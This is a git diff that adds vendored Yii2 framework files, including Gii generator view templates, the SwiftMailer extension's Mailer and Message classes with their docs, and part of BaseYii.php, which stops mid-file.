            + + + + + + + operation !== CodeFile::OP_SKIP) { + $fileChangeExists = true; + echo ''; + break; + } + } + ?> + + + + + + operation === CodeFile::OP_OVERWRITE) { + $trClass = 'warning'; + } elseif ($file->operation === CodeFile::OP_SKIP) { + $trClass = 'active'; + } elseif ($file->operation === CodeFile::OP_CREATE) { + $trClass = 'success'; + } else { + $trClass = ''; + } + ?> + operation $trClass" ?>"> + + + + + + + + +
            Code FileAction
            + getRelativePath()), ['preview', 'id' => $id, 'file' => $file->id], ['class' => 'preview-code', 'data-title' => $file->getRelativePath()]) ?> + operation === CodeFile::OP_OVERWRITE): ?> + $id, 'file' => $file->id], ['class' => 'diff-code label label-warning', 'data-title' => $file->getRelativePath()]) ?> + + + operation === CodeFile::OP_SKIP) { + echo 'unchanged'; + } else { + echo $file->operation; + } + ?> + + operation === CodeFile::OP_SKIP) { + echo ' '; + } else { + echo Html::checkBox("answers[{$file->id}]", isset($answers) ? isset($answers[$file->id]) : ($file->operation === CodeFile::OP_CREATE)); + } + ?> +
            + + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view/results.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view/results.php new file mode 100644 index 00000000..54d750db --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/default/view/results.php @@ -0,0 +1,16 @@ + +
            + There was something wrong when generating the code. Please check the following messages.
            '; + } else { + echo '
            ' . $generator->successMessage() . '
            '; + } + ?> +
            +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/layouts/generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/layouts/generator.php new file mode 100644 index 00000000..0e26c841 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/layouts/generator.php @@ -0,0 +1,30 @@ +controller->module->generators; +$activeGenerator = Yii::$app->controller->generator; +?> +beginContent('@yii/gii/views/layouts/main.php'); ?> +
            +
            +
            + $generator) { + $label = '' . Html::encode($generator->getName()); + echo Html::a($label, ['default/view', 'id' => $id], [ + 'class' => $generator === $activeGenerator ? 'list-group-item active' : 'list-group-item', + ]); + } + ?> +
            +
            +
            + +
            +
            +endContent(); ?> diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/views/layouts/main.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/layouts/main.php new file mode 100644 index 00000000..06502d71 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/views/layouts/main.php @@ -0,0 +1,54 @@ + +beginPage() ?> + + + + + + + <?= Html::encode($this->title) ?> + head() ?> + + +beginBody() ?> + Html::img($asset->baseUrl . '/logo.png'), + 'brandUrl' => ['default/index'], + 'options' => ['class' => 'navbar-inverse navbar-fixed-top'], +]); +echo Nav::widget([ + 'options' => ['class' => 'nav navbar-nav navbar-right'], + 'items' => [ + ['label' => 'Home', 'url' => ['default/index']], + ['label' => 'Help', 'url' => 'http://www.yiiframework.com/doc-2.0/guide-tool-gii.html'], + ['label' => 'Application', 'url' => Yii::$app->homeUrl], + ], +]); +NavBar::end(); +?> + +
            + +
            + + + +endBody() ?> + + +endPage() ?> diff --git a/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/CHANGELOG.md new file mode 100644 index 00000000..da89a0d3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/CHANGELOG.md @@ -0,0 +1,24 @@ +Yii Framework 2 swiftmailer extension Change Log +================================================ + +2.0.0 October 12, 2014 +---------------------- + +- no changes in this release. + + +2.0.0-rc September 27, 2014 +--------------------------- + +- no changes in this release. + + +2.0.0-beta April 13, 2014 +------------------------- + +- Bug #1817: Message charset not applied for alternative bodies (klimov-paul) + +2.0.0-alpha, December 1, 2013 +----------------------------- + +- Initial release. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/LICENSE.md b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/LICENSE.md new file mode 100644 index 00000000..0bb1a8dc --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/LICENSE.md @@ -0,0 +1,32 @@ +The Yii framework is free software. It is released under the terms of +the following BSD License. + +Copyright © 2008-2013 by Yii Software LLC (http://www.yiisoft.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + * Neither the name of Yii Software LLC nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/Mailer.php b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/Mailer.php new file mode 100644 index 00000000..179365ca --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/Mailer.php @@ -0,0 +1,226 @@ + [ + * ... + * 'mailer' => [ + * 'class' => 'yii\swiftmailer\Mailer', + * 'transport' => [ + * 'class' => 'Swift_SmtpTransport', + * 'host' => 'localhost', + * 'username' => 'username', + * 'password' => 'password', + * 'port' => '587', + * 'encryption' => 'tls', + * ], + * ], + * ... + * ], + * ~~~ + * + * You may also skip the configuration of the [[transport]] property. In that case, the default + * PHP `mail()` function will be used to send emails. + * + * You specify the transport constructor arguments using 'constructArgs' key in the config. + * You can also specify the list of plugins, which should be registered to the transport using + * 'plugins' key. For example: + * + * ~~~ + * 'transport' => [ + * 'class' => 'Swift_SmtpTransport', + * 'constructArgs' => ['localhost', 25] + * 'plugins' => [ + * [ + * 'class' => 'Swift_Plugins_ThrottlerPlugin', + * 'constructArgs' => [20], + * ], + * ], + * ], + * ~~~ + * + * To send an email, you may use the following code: + * + * ~~~ + * Yii::$app->mailer->compose('contact/html', ['contactForm' => $form]) + * ->setFrom('from@domain.com') + * ->setTo($form->email) + * ->setSubject($form->subject) + * ->send(); + * ~~~ + * + * @see http://swiftmailer.org + * + * @property array|\Swift_Mailer $swiftMailer Swift mailer instance or array configuration. This property is + * read-only. + * @property array|\Swift_Transport $transport This property is read-only. + * + * @author Paul Klimov + * @since 2.0 + */ +class Mailer extends BaseMailer +{ + /** + * @var string message default class name. + */ + public $messageClass = 'yii\swiftmailer\Message'; + + /** + * @var \Swift_Mailer Swift mailer instance. + */ + private $_swiftMailer; + /** + * @var \Swift_Transport|array Swift transport instance or its array configuration. + */ + private $_transport = []; + + + /** + * @return array|\Swift_Mailer Swift mailer instance or array configuration. + */ + public function getSwiftMailer() + { + if (!is_object($this->_swiftMailer)) { + $this->_swiftMailer = $this->createSwiftMailer(); + } + + return $this->_swiftMailer; + } + + /** + * @param array|\Swift_Transport $transport + * @throws InvalidConfigException on invalid argument. + */ + public function setTransport($transport) + { + if (!is_array($transport) && !is_object($transport)) { + throw new InvalidConfigException('"' . get_class($this) . '::transport" should be either object or array, "' . gettype($transport) . '" given.'); + } + $this->_transport = $transport; + } + + /** + * @return array|\Swift_Transport + */ + public function getTransport() + { + if (!is_object($this->_transport)) { + $this->_transport = $this->createTransport($this->_transport); + } + + return $this->_transport; + } + + /** + * @inheritdoc + */ + protected function sendMessage($message) + { + $address = $message->getTo(); + if (is_array($address)) { + $address = implode(', ', array_keys($address)); + } + Yii::info('Sending email "' . $message->getSubject() . '" to "' . $address . '"', __METHOD__); + + return $this->getSwiftMailer()->send($message->getSwiftMessage()) > 0; + } + + /** + * Creates Swift mailer instance. + * @return \Swift_Mailer mailer instance. + */ + protected function createSwiftMailer() + { + return \Swift_Mailer::newInstance($this->getTransport()); + } + + /** + * Creates email transport instance by its array configuration. + * @param array $config transport configuration. + * @throws \yii\base\InvalidConfigException on invalid transport configuration. + * @return \Swift_Transport transport instance. + */ + protected function createTransport(array $config) + { + if (!isset($config['class'])) { + $config['class'] = 'Swift_MailTransport'; + } + if (isset($config['plugins'])) { + $plugins = $config['plugins']; + unset($config['plugins']); + } + /* @var $transport \Swift_MailTransport */ + $transport = $this->createSwiftObject($config); + if (isset($plugins)) { + foreach ($plugins as $plugin) { + if (is_array($plugin) && isset($plugin['class'])) { + $plugin = $this->createSwiftObject($plugin); + } + $transport->registerPlugin($plugin); + } + } + + return $transport; + } + + /** + * Creates Swift library object, from given array configuration. + * @param array $config object configuration + * @return Object created object + * @throws \yii\base\InvalidConfigException on invalid configuration. + */ + protected function createSwiftObject(array $config) + { + if (isset($config['class'])) { + $className = $config['class']; + unset($config['class']); + } else { + throw new InvalidConfigException('Object configuration must be an array containing a "class" element.'); + } + if (isset($config['constructArgs'])) { + $args = []; + foreach ($config['constructArgs'] as $arg) { + if (is_array($arg) && isset($arg['class'])) { + $args[] = $this->createSwiftObject($arg); + } else { + $args[] = $arg; + } + } + unset($config['constructArgs']); + $object = Yii::createObject($className, $args); + } else { + $object = Yii::createObject($className); + } + if (!empty($config)) { + foreach ($config as $name => $value) { + if (property_exists($object, $name)) { + $object->$name = $value; + } else { + $setter = 'set' . $name; + if (method_exists($object, $setter) || method_exists($object, '__call')) { + $object->$setter($value); + } else { + throw new InvalidConfigException('Setting unknown property: ' . $className . '::' . $name); + } + } + } + } + + return $object; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/Message.php b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/Message.php new file mode 100644 index 00000000..5ca0ccaa --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/Message.php @@ -0,0 +1,319 @@ + + * @since 2.0 + */ +class Message extends BaseMessage +{ + /** + * @var \Swift_Message Swift message instance. + */ + private $_swiftMessage; + + + /** + * @return \Swift_Message Swift message instance. + */ + public function getSwiftMessage() + { + if (!is_object($this->_swiftMessage)) { + $this->_swiftMessage = $this->createSwiftMessage(); + } + + return $this->_swiftMessage; + } + + /** + * @inheritdoc + */ + public function getCharset() + { + return $this->getSwiftMessage()->getCharset(); + } + + /** + * @inheritdoc + */ + public function setCharset($charset) + { + $this->getSwiftMessage()->setCharset($charset); + + return $this; + } + + /** + * @inheritdoc + */ + public function getFrom() + { + return $this->getSwiftMessage()->getFrom(); + } + + /** + * @inheritdoc + */ + public function setFrom($from) + { + $this->getSwiftMessage()->setFrom($from); + + return $this; + } + + /** + * @inheritdoc + */ + public function getReplyTo() + { + return $this->getSwiftMessage()->getReplyTo(); + } + + /** + * @inheritdoc + */ + public function setReplyTo($replyTo) + { + $this->getSwiftMessage()->setReplyTo($replyTo); + + return $this; + } + + /** + * @inheritdoc + */ + public function getTo() + { + return $this->getSwiftMessage()->getTo(); + } + + /** + * @inheritdoc + */ + public function setTo($to) + { + $this->getSwiftMessage()->setTo($to); + + return $this; + } + + /** + * @inheritdoc + */ + public function getCc() + { + return $this->getSwiftMessage()->getCc(); + } + + /** + * @inheritdoc + */ + public function setCc($cc) + { + $this->getSwiftMessage()->setCc($cc); + + return $this; + } + + /** + * @inheritdoc + */ + public function getBcc() + { + return $this->getSwiftMessage()->getBcc(); + } + + /** + * @inheritdoc + */ + public function setBcc($bcc) + { + $this->getSwiftMessage()->setBcc($bcc); + + return $this; + } + + /** + * @inheritdoc + */ + public function getSubject() + { + return $this->getSwiftMessage()->getSubject(); + } + + /** + * @inheritdoc + */ + public function setSubject($subject) + { + $this->getSwiftMessage()->setSubject($subject); + + return $this; + } + + /** + * @inheritdoc + */ + public function setTextBody($text) + { + $this->setBody($text, 'text/plain'); + + return $this; + } + + /** + * @inheritdoc + */ + public function setHtmlBody($html) + { + $this->setBody($html, 'text/html'); + + return $this; + } + + /** + * Sets the message body. + * If body is already set and its content type matches given one, it will + * be overridden, if content type miss match the multipart message will be composed. + * @param string $body body content. + * @param string $contentType body content type. + */ + protected function setBody($body, $contentType) + { + $message = $this->getSwiftMessage(); + $oldBody = $message->getBody(); + $charset = $message->getCharset(); + if (empty($oldBody)) { + $parts = $message->getChildren(); + $partFound = false; + foreach ($parts as $key => $part) { + if (!($part instanceof \Swift_Mime_Attachment)) { + /* @var $part \Swift_Mime_MimePart */ + if ($part->getContentType() == $contentType) { + $charset = $part->getCharset(); + unset($parts[$key]); + $partFound = true; + break; + } + } + } + if ($partFound) { + reset($parts); + $message->setChildren($parts); + $message->addPart($body, $contentType, $charset); + } else { + $message->setBody($body, $contentType); + } + } else { + $oldContentType = $message->getContentType(); + if ($oldContentType == $contentType) { + $message->setBody($body, $contentType); + } else { + $message->setBody(null); + $message->setContentType(null); + $message->addPart($oldBody, $oldContentType, $charset); + $message->addPart($body, $contentType, $charset); + } + } + } + + /** + * @inheritdoc + */ + public function attach($fileName, array $options = []) + { + $attachment = \Swift_Attachment::fromPath($fileName); + if (!empty($options['fileName'])) { + $attachment->setFilename($options['fileName']); + } + if (!empty($options['contentType'])) { + $attachment->setContentType($options['contentType']); + } + $this->getSwiftMessage()->attach($attachment); + + return $this; + } + + /** + * @inheritdoc + */ + public function attachContent($content, array $options = []) + { + $attachment = \Swift_Attachment::newInstance($content); + if (!empty($options['fileName'])) { + $attachment->setFilename($options['fileName']); + } + if (!empty($options['contentType'])) { + $attachment->setContentType($options['contentType']); + } + $this->getSwiftMessage()->attach($attachment); + + return $this; + } + + /** + * @inheritdoc + */ + public function embed($fileName, array $options = []) + { + $embedFile = \Swift_EmbeddedFile::fromPath($fileName); + if (!empty($options['fileName'])) { + $embedFile->setFilename($options['fileName']); + } + if (!empty($options['contentType'])) { + $embedFile->setContentType($options['contentType']); + } + + return $this->getSwiftMessage()->embed($embedFile); + } + + /** + * @inheritdoc + */ + public function embedContent($content, array $options = []) + { + $embedFile = \Swift_EmbeddedFile::newInstance($content); + if (!empty($options['fileName'])) { + $embedFile->setFilename($options['fileName']); + } + if (!empty($options['contentType'])) { + $embedFile->setContentType($options['contentType']); + } + + return $this->getSwiftMessage()->embed($embedFile); + } + + /** + * @inheritdoc + */ + public function toString() + { + return $this->getSwiftMessage()->toString(); + } + + /** + * Creates the Swift email message instance. + * @return \Swift_Message email message instance. + */ + protected function createSwiftMessage() + { + return new \Swift_Message(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/README.md b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/README.md new file mode 100644 index 00000000..cf1ca615 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/README.md @@ -0,0 +1,49 @@ +SwiftMailer Extension for Yii 2 +=============================== + +This extension provides a `SwiftMailer` mail solution for Yii 2. + +To use this extension, simply add the following code in your application configuration: + +```php +return [ + //.... + 'components' => [ + 'mailer' => [ + 'class' => 'yii\swiftmailer\Mailer', + ], + ], +]; +``` + +You can then send an email as follows: + +```php +Yii::$app->mailer->compose('contact/html') + ->setFrom('from@domain.com') + ->setTo($form->email) + ->setSubject($form->subject) + ->send(); +``` + +For further instructions refer to the related section in the Yii Definitive Guide. + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist yiisoft/yii2-swiftmailer "*" +``` + +or add + +```json +"yiisoft/yii2-swiftmailer": "*" +``` + +to the require section of your composer.json. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/composer.json new file mode 100644 index 00000000..409c7104 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-swiftmailer/composer.json @@ -0,0 +1,32 @@ +{ + "name": "yiisoft/yii2-swiftmailer", + "description": "The SwiftMailer integration for the Yii framework", + "keywords": ["yii2", "swift", "swiftmailer", "mail", "email", "mailer"], + "type": "yii2-extension", + "license": "BSD-3-Clause", + "support": { + "issues": "https://github.com/yiisoft/yii2/issues?labels=ext%3Aswiftmailer", + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "authors": [ + { + "name": "Paul Klimov", + "email": "klimov.paul@gmail.com" + } + ], + "require": { + "yiisoft/yii2": "*", + "swiftmailer/swiftmailer": "*" + }, + "autoload": { + "psr-4": { "yii\\swiftmailer\\": "" } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/.gitignore b/php/yii2/basic/vendor/yiisoft/yii2/.gitignore new file mode 100644 index 00000000..6f84e8f0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/.gitignore @@ -0,0 +1,3 @@ +phpunit.xml +composer.lock + diff --git a/php/yii2/basic/vendor/yiisoft/yii2/.htaccess b/php/yii2/basic/vendor/yiisoft/yii2/.htaccess new file mode 100644 index 00000000..8d2f2563 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/.htaccess @@ -0,0 +1 @@ +deny from all diff --git a/php/yii2/basic/vendor/yiisoft/yii2/BaseYii.php b/php/yii2/basic/vendor/yiisoft/yii2/BaseYii.php new file mode 100644 index 00000000..65626e6b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/BaseYii.php @@ -0,0 +1,536 @@ + + * @since 2.0 + */ +class BaseYii +{ + /** + * @var array class map used by the Yii autoloading mechanism. + * The array keys are the class names (without leading backslashes), and the array values + * are the corresponding class file paths (or path aliases). This property mainly affects + * how [[autoload()]] works. + * @see autoload() + */ + public static $classMap = []; + /** + * @var \yii\console\Application|\yii\web\Application the application instance + */ + public static $app; + /** + * @var array registered path aliases + * @see getAlias() + * @see setAlias() + */ + public static $aliases = ['@yii' => __DIR__]; + /** + * @var Container the dependency injection (DI) container used by [[createObject()]]. + * You may use [[Container::set()]] to set up the needed dependencies of classes and + * their initial property values. + * @see createObject() + * @see Container + */ + public static $container; + + + /** + * Returns a string representing the current version of the Yii framework. + * @return string the version of Yii framework + */ + public static function getVersion() + { + return '2.0.0'; + } + + /** + * Translates a path alias into an actual path. + * + * The translation is done according to the following procedure: + * + * 1. If the given alias does not start with '@', it is returned back without change; + * 2. Otherwise, look for the longest registered alias that matches the beginning part + * of the given alias. If it exists, replace the matching part of the given alias with + * the corresponding registered path. + * 3. Throw an exception or return false, depending on the `$throwException` parameter. + * + * For example, by default '@yii' is registered as the alias to the Yii framework directory, + * say '/path/to/yii'. The alias '@yii/web' would then be translated into '/path/to/yii/web'. + * + * If you have registered two aliases '@foo' and '@foo/bar'. Then translating '@foo/bar/config' + * would replace the part '@foo/bar' (instead of '@foo') with the corresponding registered path. + * This is because the longest alias takes precedence. + * + * However, if the alias to be translated is '@foo/barbar/config', then '@foo' will be replaced + * instead of '@foo/bar', because '/' serves as the boundary character. + * + * Note, this method does not check if the returned path exists or not. + * + * @param string $alias the alias to be translated. + * @param boolean $throwException whether to throw an exception if the given alias is invalid. + * If this is false and an invalid alias is given, false will be returned by this method. + * @return string|boolean the path corresponding to the alias, false if the root alias is not previously registered. + * @throws InvalidParamException if the alias is invalid while $throwException is true. + * @see setAlias() + */ + public static function getAlias($alias, $throwException = true) + { + if (strncmp($alias, '@', 1)) { + // not an alias + return $alias; + } + + $pos = strpos($alias, '/'); + $root = $pos === false ? $alias : substr($alias, 0, $pos); + + if (isset(static::$aliases[$root])) { + if (is_string(static::$aliases[$root])) { + return $pos === false ? static::$aliases[$root] : static::$aliases[$root] . substr($alias, $pos); + } else { + foreach (static::$aliases[$root] as $name => $path) { + if (strpos($alias . '/', $name . '/') === 0) { + return $path . substr($alias, strlen($name)); + } + } + } + } + + if ($throwException) { + throw new InvalidParamException("Invalid path alias: $alias"); + } else { + return false; + } + } + + /** + * Returns the root alias part of a given alias. + * A root alias is an alias that has been registered via [[setAlias()]] previously. + * If a given alias matches multiple root aliases, the longest one will be returned. + * @param string $alias the alias + * @return string|boolean the root alias, or false if no root alias is found + */ + public static function getRootAlias($alias) + { + $pos = strpos($alias, '/'); + $root = $pos === false ? $alias : substr($alias, 0, $pos); + + if (isset(static::$aliases[$root])) { + if (is_string(static::$aliases[$root])) { + return $root; + } else { + foreach (static::$aliases[$root] as $name => $path) { + if (strpos($alias . '/', $name . '/') === 0) { + return $name; + } + } + } + } + + return false; + } + + /** + * Registers a path alias. + * + * A path alias is a short name representing a long path (a file path, a URL, etc.) + * For example, we use '@yii' as the alias of the path to the Yii framework directory. + * + * A path alias must start with the character '@' so that it can be easily differentiated + * from non-alias paths. + * + * Note that this method does not check if the given path exists or not. All it does is + * to associate the alias with the path. + * + * Any trailing '/' and '\' characters in the given path will be trimmed. + * + * @param string $alias the alias name (e.g. "@yii"). It must start with a '@' character. + * It may contain the forward slash '/' which serves as boundary character when performing + * alias translation by [[getAlias()]]. + * @param string $path the path corresponding to the alias. If this is null, the alias will + * be removed. Trailing '/' and '\' characters will be trimmed. This can be + * + * - a directory or a file path (e.g. `/tmp`, `/tmp/main.txt`) + * - a URL (e.g. `http://www.yiiframework.com`) + * - a path alias (e.g. `@yii/base`). In this case, the path alias will be converted into the + * actual path first by calling [[getAlias()]]. + * + * @throws InvalidParamException if $path is an invalid alias. + * @see getAlias() + */ + public static function setAlias($alias, $path) + { + if (strncmp($alias, '@', 1)) { + $alias = '@' . $alias; + } + $pos = strpos($alias, '/'); + $root = $pos === false ? $alias : substr($alias, 0, $pos); + if ($path !== null) { + $path = strncmp($path, '@', 1) ? rtrim($path, '\\/') : static::getAlias($path); + if (!isset(static::$aliases[$root])) { + if ($pos === false) { + static::$aliases[$root] = $path; + } else { + static::$aliases[$root] = [$alias => $path]; + } + } elseif (is_string(static::$aliases[$root])) { + if ($pos === false) { + static::$aliases[$root] = $path; + } else { + static::$aliases[$root] = [ + $alias => $path, + $root => static::$aliases[$root], + ]; + } + } else { + static::$aliases[$root][$alias] = $path; + krsort(static::$aliases[$root]); + } + } elseif (isset(static::$aliases[$root])) { + if (is_array(static::$aliases[$root])) { + unset(static::$aliases[$root][$alias]); + } elseif ($pos === false) { + unset(static::$aliases[$root]); + } + } + } + + /** + * Class autoload loader. + * This method is invoked automatically when PHP sees an unknown class. + * The method will attempt to include the class file according to the following procedure: + * + * 1. Search in [[classMap]]; + * 2. If the class is namespaced (e.g. `yii\base\Component`), it will attempt + * to include the file associated with the corresponding path alias + * (e.g. `@yii/base/Component.php`); + * + * This autoloader allows loading classes that follow the [PSR-4 standard](http://www.php-fig.org/psr/psr-4/) + * and have its top-level namespace or sub-namespaces defined as path aliases. + * + * Example: When aliases `@yii` and `@yii/bootstrap` are defined, classes in the `yii\bootstrap` namespace + * will be loaded using the `@yii/bootstrap` alias which points to the directory where bootstrap extension + * files are installed and all classes from other `yii` namespaces will be loaded from the yii framework directory. + * + * Also the [guide section on autoloading](guide:concept-autoloading). + * + * @param string $className the fully qualified class name without a leading backslash "\" + * @throws UnknownClassException if the class does not exist in the class file + */ + public static function autoload($className) + { + if (isset(static::$classMap[$className])) { + $classFile = static::$classMap[$className]; + if ($classFile[0] === '@') { + $classFile = static::getAlias($classFile); + } + } elseif (strpos($className, '\\') !== false) { + $classFile = static::getAlias('@' . str_replace('\\', '/', $className) . '.php', false); + if ($classFile === false || !is_file($classFile)) { + return; + } + } else { + return; + } + + include($classFile); + + if (YII_DEBUG && !class_exists($className, false) && !interface_exists($className, false) && !trait_exists($className, false)) { + throw new UnknownClassException("Unable to find '$className' in file: $classFile. Namespace missing?"); + } + } + + /** + * Creates a new object using the given configuration. + * + * You may view this method as an enhanced version of the `new` operator. + * The method supports creating an object based on a class name, a configuration array or + * an anonymous function. + * + * Below are some usage examples: + * + * ```php + * // create an object using a class name + * $object = Yii::createObject('yii\db\Connection'); + * + * // create an object using a configuration array + * $object = Yii::createObject([ + * 'class' => 'yii\db\Connection', + * 'dsn' => 'mysql:host=127.0.0.1;dbname=demo', + * 'username' => 'root', + * 'password' => '', + * 'charset' => 'utf8', + * ]); + * + * // create an object with two constructor parameters + * $object = \Yii::createObject('MyClass', [$param1, $param2]); + * ``` + * + * Using [[\yii\di\Container|dependency injection container]], this method can also identify + * dependent objects, instantiate them and inject them into the newly created object. + * + * @param string|array|callable $type the object type. This can be specified in one of the following forms: + * + * - a string: representing the class name of the object to be created + * - a configuration array: the array must contain a `class` element which is treated as the object class, + * and the rest of the name-value pairs will be used to initialize the corresponding object properties + * - a PHP callable: either an anonymous function or an array representing a class method (`[$class or $object, $method]`). + * The callable should return a new instance of the object being created. + * + * @param array $params the constructor parameters + * @return object the created object + * @throws InvalidConfigException if the configuration is invalid. + * @see \yii\di\Container + */ + public static function createObject($type, array $params = []) + { + if (is_string($type)) { + return static::$container->get($type, $params); + } elseif (is_array($type) && isset($type['class'])) { + $class = $type['class']; + unset($type['class']); + return static::$container->get($class, $params, $type); + } elseif (is_callable($type, true)) { + return call_user_func($type, $params); + } elseif (is_array($type)) { + throw new InvalidConfigException('Object configuration must be an array containing a "class" element.'); + } else { + throw new InvalidConfigException("Unsupported configuration type: " . gettype($type)); + } + } + + private static $_logger; + + /** + * @return Logger message logger + */ + public static function getLogger() + { + if (self::$_logger !== null) { + return self::$_logger; + } else { + return self::$_logger = static::createObject('yii\log\Logger'); + } + } + + /** + * Sets the logger object. + * @param Logger $logger the logger object. + */ + public static function setLogger($logger) + { + self::$_logger = $logger; + } + + /** + * Logs a trace message. + * Trace messages are logged mainly for development purpose to see + * the execution work flow of some code. + * @param string $message the message to be logged. + * @param string $category the category of the message. + */ + public static function trace($message, $category = 'application') + { + if (YII_DEBUG) { + static::getLogger()->log($message, Logger::LEVEL_TRACE, $category); + } + } + + /** + * Logs an error message. + * An error message is typically logged when an unrecoverable error occurs + * during the execution of an application. + * @param string $message the message to be logged. + * @param string $category the category of the message. + */ + public static function error($message, $category = 'application') + { + static::getLogger()->log($message, Logger::LEVEL_ERROR, $category); + } + + /** + * Logs a warning message. + * A warning message is typically logged when an error occurs while the execution + * can still continue. + * @param string $message the message to be logged. + * @param string $category the category of the message. + */ + public static function warning($message, $category = 'application') + { + static::getLogger()->log($message, Logger::LEVEL_WARNING, $category); + } + + /** + * Logs an informative message. + * An informative message is typically logged by an application to keep record of + * something important (e.g. an administrator logs in). + * @param string $message the message to be logged. + * @param string $category the category of the message. + */ + public static function info($message, $category = 'application') + { + static::getLogger()->log($message, Logger::LEVEL_INFO, $category); + } + + /** + * Marks the beginning of a code block for profiling. + * This has to be matched with a call to [[endProfile]] with the same category name. + * The begin- and end- calls must also be properly nested. For example, + * + * ~~~ + * \Yii::beginProfile('block1'); + * // some code to be profiled + * \Yii::beginProfile('block2'); + * // some other code to be profiled + * \Yii::endProfile('block2'); + * \Yii::endProfile('block1'); + * ~~~ + * @param string $token token for the code block + * @param string $category the category of this log message + * @see endProfile() + */ + public static function beginProfile($token, $category = 'application') + { + static::getLogger()->log($token, Logger::LEVEL_PROFILE_BEGIN, $category); + } + + /** + * Marks the end of a code block for profiling. + * This has to be matched with a previous call to [[beginProfile]] with the same category name. + * @param string $token token for the code block + * @param string $category the category of this log message + * @see beginProfile() + */ + public static function endProfile($token, $category = 'application') + { + static::getLogger()->log($token, Logger::LEVEL_PROFILE_END, $category); + } + + /** + * Returns an HTML hyperlink that can be displayed on your Web page showing "Powered by Yii Framework" information. + * @return string an HTML hyperlink that can be displayed on your Web page showing "Powered by Yii Framework" information + */ + public static function powered() + { + return 'Powered by Yii Framework'; + } + + /** + * Translates a message to the specified language. + * + * This is a shortcut method of [[\yii\i18n\I18N::translate()]]. + * + * The translation will be conducted according to the message category and the target language will be used. + * + * You can add parameters to a translation message that will be substituted with the corresponding value after + * translation. The format for this is to use curly brackets around the parameter name as you can see in the following example: + * + * ```php + * $username = 'Alexander'; + * echo \Yii::t('app', 'Hello, {username}!', ['username' => $username]); + * ``` + * + * Further formatting of message parameters is supported using the [PHP intl extensions](http://www.php.net/manual/en/intro.intl.php) + * message formatter. See [[\yii\i18n\I18N::translate()]] for more details. + * + * @param string $category the message category. + * @param string $message the message to be translated. + * @param array $params the parameters that will be used to replace the corresponding placeholders in the message. + * @param string $language the language code (e.g. `en-US`, `en`). If this is null, the current + * [[\yii\base\Application::language|application language]] will be used. + * @return string the translated message. + */ + public static function t($category, $message, $params = [], $language = null) + { + if (static::$app !== null) { + return static::$app->getI18n()->translate($category, $message, $params, $language ?: static::$app->language); + } else { + $p = []; + foreach ((array) $params as $name => $value) { + $p['{' . $name . '}'] = $value; + } + + return ($p === []) ? $message : strtr($message, $p); + } + } + + /** + * Configures an object with the initial property values. + * @param object $object the object to be configured + * @param array $properties the property initial values given in terms of name-value pairs. + * @return object the object itself + */ + public static function configure($object, $properties) + { + foreach ($properties as $name => $value) { + $object->$name = $value; + } + + return $object; + } + + /** + * 